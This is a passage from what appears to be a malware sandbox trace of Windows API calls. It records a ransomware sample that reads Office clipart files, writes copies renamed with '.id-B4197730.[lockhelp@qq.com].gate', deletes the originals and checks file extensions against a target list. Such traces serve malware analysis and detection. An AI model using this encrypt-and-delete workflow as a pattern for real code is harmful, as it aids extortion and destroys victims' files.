(lpString1=".bz2", lpString2=".WMF") returned -1 [0320.974] lstrlenW (lpString=".7z") returned 3 [0320.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.974] lstrlenW (lpString=".dbf") returned 4 [0320.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.974] lstrlenW (lpString=".1cd") returned 4 [0320.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.974] lstrlenW (lpString=".jpg") returned 4 [0320.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.974] lstrlenW (lpString=".doc") returned 4 [0320.975] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.975] lstrlenW (lpString=".docx") returned 5 [0320.975] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.975] lstrlenW (lpString=".pdf") returned 4 [0320.975] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.975] lstrlenW (lpString=".xls") returned 4 [0320.975] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.975] lstrlenW (lpString=".xlsx") returned 5 [0320.975] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.975] lstrlenW (lpString=".ppt") returned 4 [0320.975] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.975] lstrlenW (lpString=".zip") returned 4 [0320.975] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.975] lstrlenW (lpString=".rar") returned 4 [0320.975] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.975] lstrlenW (lpString=".bz2") returned 4 [0320.975] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.975] lstrlenW (lpString=".7z") returned 3 [0320.975] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.975] lstrlenW (lpString=".dbf") returned 4 [0320.975] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.975] lstrlenW (lpString=".1cd") returned 4 [0320.975] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04108_.WMF") returned 68 [0320.975] lstrlenW (lpString=".jpg") returned 4 [0320.975] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.975] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.976] lstrlenW (lpString="AN04117_.WMF") returned 12 [0320.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.976] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=6060) returned 1 [0320.976] CloseHandle (hObject=0x378) returned 1 [0320.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 0x220 [0320.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.976] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.976] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.976] GetLastError () returned 0x0 [0320.977] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x17ac, lpOverlapped=0x0) returned 1 [0320.977] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0x17b0, lpOverlapped=0x0) returned 1 [0320.978] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.978] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.979] SetEndOfFile (hFile=0x37c) returned 1 [0320.979] CloseHandle (hObject=0x37c) returned 1 [0320.979] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.979] SetEndOfFile (hFile=0x378) returned 1 [0320.980] CloseHandle (hObject=0x378) returned 1 [0320.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0320.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.980] lstrlenW (lpString=".doc") returned 4 [0320.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.980] lstrlenW (lpString=".docx") returned 5 [0320.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.980] lstrlenW (lpString=".pdf") returned 4 [0320.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.980] lstrlenW (lpString=".xls") returned 4 [0320.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.981] lstrlenW (lpString=".xlsx") returned 5 [0320.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.981] lstrlenW (lpString=".ppt") returned 4 [0320.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.981] lstrlenW (lpString=".zip") returned 4 [0320.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.981] lstrlenW (lpString=".rar") returned 4 [0320.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.981] lstrlenW (lpString=".bz2") returned 4 [0320.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.981] lstrlenW (lpString=".7z") returned 3 [0320.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.981] lstrlenW (lpString=".dbf") returned 4 [0320.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.981] lstrlenW (lpString=".1cd") returned 4 [0320.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.981] lstrlenW (lpString=".jpg") returned 4 [0320.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.981] lstrlenW (lpString=".doc") returned 4 [0320.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.981] lstrlenW (lpString=".docx") returned 5 [0320.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.981] lstrlenW (lpString=".pdf") returned 4 [0320.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.981] lstrlenW (lpString=".xls") returned 4 [0320.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.982] lstrlenW (lpString=".xlsx") returned 5 [0320.982] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.982] lstrlenW (lpString=".ppt") returned 4 [0320.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.982] lstrlenW (lpString=".zip") returned 4 [0320.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.982] lstrlenW (lpString=".rar") returned 4 [0320.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.982] lstrlenW (lpString=".bz2") returned 4 [0320.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.982] lstrlenW (lpString=".7z") returned 3 [0320.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.982] lstrlenW (lpString=".dbf") returned 4 [0320.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.982] lstrlenW (lpString=".1cd") returned 4 [0320.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0320.982] lstrlenW (lpString=".jpg") returned 4 [0320.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.982] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.982] lstrlenW (lpString="AN04134_.WMF") returned 12 [0320.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.983] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=3416) returned 1 [0320.983] CloseHandle (hObject=0x378) returned 1 [0320.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 0x220 [0320.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.983] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.983] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.983] GetLastError () returned 0x0 [0320.983] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0xd58, lpOverlapped=0x0) returned 1 [0320.984] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xd60, lpOverlapped=0x0) returned 1 [0320.985] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.985] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.985] SetEndOfFile (hFile=0x37c) returned 1 [0320.985] CloseHandle (hObject=0x37c) returned 1 [0320.986] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.986] SetEndOfFile (hFile=0x378) returned 1 [0320.986] CloseHandle (hObject=0x378) returned 1 [0320.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0320.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.987] lstrlenW (lpString=".doc") returned 4 [0320.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.987] lstrlenW (lpString=".docx") returned 5 [0320.987] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.987] lstrlenW (lpString=".pdf") returned 4 [0320.987] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.987] lstrlenW (lpString=".xls") returned 4 [0320.987] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.987] lstrlenW (lpString=".xlsx") returned 5 [0320.987] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.987] lstrlenW (lpString=".ppt") returned 4 [0320.987] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.987] lstrlenW (lpString=".zip") returned 4 [0320.987] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.987] lstrlenW (lpString=".rar") returned 4 [0320.987] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.987] lstrlenW (lpString=".bz2") returned 4 [0320.987] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.987] lstrlenW (lpString=".7z") returned 3 [0320.987] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.988] lstrlenW (lpString=".dbf") returned 4 [0320.988] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.988] lstrlenW (lpString=".1cd") returned 4 [0320.988] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.988] lstrlenW (lpString=".jpg") returned 4 [0320.988] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.988] lstrlenW (lpString=".doc") returned 4 [0320.988] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.988] lstrlenW (lpString=".docx") returned 5 [0320.988] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.988] lstrlenW (lpString=".pdf") returned 4 [0320.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.988] lstrlenW (lpString=".xls") returned 4 [0320.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.988] lstrlenW (lpString=".xlsx") returned 5 [0320.988] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.988] lstrlenW (lpString=".ppt") returned 4 [0320.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.988] lstrlenW (lpString=".zip") returned 4 [0320.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.988] lstrlenW (lpString=".rar") returned 4 [0320.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.988] lstrlenW (lpString=".bz2") returned 4 [0320.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.988] lstrlenW (lpString=".7z") returned 3 [0320.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.988] lstrlenW (lpString=".dbf") returned 4 [0320.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.989] lstrlenW (lpString=".1cd") returned 4 [0320.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0320.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0320.989] lstrlenW (lpString=".jpg") returned 4 [0320.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0320.989] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0320.989] lstrlenW (lpString="AN04174_.WMF") returned 12 [0320.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.989] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=2636) returned 1 [0320.989] CloseHandle (hObject=0x378) returned 1 [0320.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 0x220 [0320.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0320.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0320.989] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.990] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0320.990] GetLastError () returned 0x0 [0320.990] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0xa4c, lpOverlapped=0x0) returned 1 [0320.991] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xa50, lpOverlapped=0x0) returned 1 [0320.992] ReadFile (in: hFile=0x378, lpBuffer=0x3a15020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0320.992] WriteFile (in: hFile=0x37c, lpBuffer=0x3a15020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a15020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0320.992] SetEndOfFile (hFile=0x37c) returned 1 [0320.992] CloseHandle (hObject=0x37c) returned 1 [0320.992] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0320.992] SetEndOfFile (hFile=0x378) returned 1 [0320.993] CloseHandle (hObject=0x378) returned 1 [0320.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0320.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0320.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.993] lstrlenW (lpString=".doc") returned 4 [0320.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0320.993] lstrlenW (lpString=".docx") returned 5 [0320.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0320.993] lstrlenW (lpString=".pdf") returned 4 [0320.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0320.993] lstrlenW (lpString=".xls") returned 4 [0320.994] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0320.994] lstrlenW (lpString=".xlsx") returned 5 [0320.994] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0320.994] lstrlenW (lpString=".ppt") returned 4 [0320.994] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0320.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.994] lstrlenW (lpString=".zip") returned 4 [0320.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0320.994] lstrlenW (lpString=".rar") returned 4 [0320.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0320.994] lstrlenW (lpString=".bz2") returned 4 [0320.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0320.994] lstrlenW (lpString=".7z") returned 3 [0320.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0320.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 68 [0320.994] lstrlenW (lpString=".dbf") returned 4 [0320.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0320.994] lstrlenW (lpString="C:\\Program Files\\Microsoft 